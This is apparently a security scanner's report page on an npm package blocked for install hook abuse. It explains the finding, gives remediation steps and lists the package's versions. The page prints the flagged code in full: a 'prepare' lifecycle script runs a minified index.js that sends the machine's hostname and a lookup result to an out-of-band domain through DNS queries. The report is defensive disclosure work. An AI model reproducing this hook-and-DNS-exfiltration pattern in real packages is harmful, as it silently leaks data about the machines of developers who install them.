registry / Install hook abuse / @an1mshnpmb9c84920/pipe-dns-m19t2

@an1mshnpmb9c84920/pipe-dns-m19t2

owned package compatibility control

This report shows the evidence for @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.1. 2 of 5 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The lifecycle hook activates an automatic DNS disclosure of host-identifying data to an unrelated out-of-band recipient. This is concrete install-time collection and transmission, so the package should be blocked.

Static reason

No blocking static signals were detected.

Trigger

The package prepare lifecycle script runs.

Impact

The DNS request discloses installation host metadata to an unrelated recipient.

Mechanism

The entrypoint resolves a fixed hostname, then makes another DNS lookup whose subdomain contains the machine hostname and the first lookup's result or error code.

Attack narrative

The prepare hook starts the entrypoint. It performs a DNS lookup and then sends the host name and lookup result in a second DNS query to an out-of-band domain, without an apparent user-consent check.

AI rationale

Evidence

package.jsonindex.js

Network endpoints2

ssrf-target.iad.github.netnpmint19u4--768.oob.awss.dev

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs index.js from an automatic prepare lifecycle script.
index.js queries DNS with the machine hostname and a derived lookup result encoded under an out-of-band domain, without a consent check.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 323 B of source

Source & flagged code

2 flagged

package.jsonView file

1{"name":"@an1mshnpmb9c84920/pipe-dns-m19t2","version":"1.0.1","description":"owned package compatibility control","main":"index.js","repository":{"type":"git","url":"git+https://github.com/an1msh-ghb0797531/rce-live-lab-0930.git"},"scripts":{"prepare":"node index.js"},"license":"MIT"}

High

Suspicious Lifecycle Evidence

package.json runs index.js from an automatic prepare lifecycle script.

package.jsonView on unpkg · L1

index.jsView file

1const d=require('dns'),o=require('os'),s=x=>String(x||'na').toLowerCase().replace(/[^a-z0-9-]/g,'-').slice(0,40)||'na';d.lookup('ssrf-target.iad.github.net',(e,a)=>{const z=e?'err-'+s(e.code):'ip-'+s(a);d.lookup([s(o.hostname()),z,'npm[redacted]'].join('.'),()=>{})});setTimeout(()=>{},3000);module.exports=1

High

Ai Review Evidence

index.js queries DNS with the machine hostname and a derived lookup result encoded under an out-of-band domain, without a consent check.

index.jsView on unpkg · L1

Source & flagged code

2 flagged · loading source

package.jsonView file

High

Suspicious Lifecycle Evidence

package.json runs index.js from an automatic prepare lifecycle script.

package.jsonView on unpkg · L1

index.jsView file

High

Ai Review Evidence

index.js queries DNS with the machine hostname and a derived lookup result encoded under an out-of-band domain, without a consent check.

index.jsView on unpkg · L1

Findings

2 High2 Low

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

LowNon Install Lifecycle Scripts

LowScripts Present

Affected versions and remediation

This report applies to @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-19 16:31:31.486Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

0.0.1-securitylatestUnknown—AllowUnder ReviewOct 19, 2026, 10:18 PM 0.0.0-stageClean—AllowPublishedOct 19, 2026, 10:18 PM 1.0.5SuspiciousStaged Payload CarrierWarnPublishedOct 19, 2026, 5:04 PM 1.0.1shownMaliciousInstall Hook AbuseBlock

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other install hook abuse packages

Behavioral surface

Related packages

Other install hook abuse packages

Source & flagged code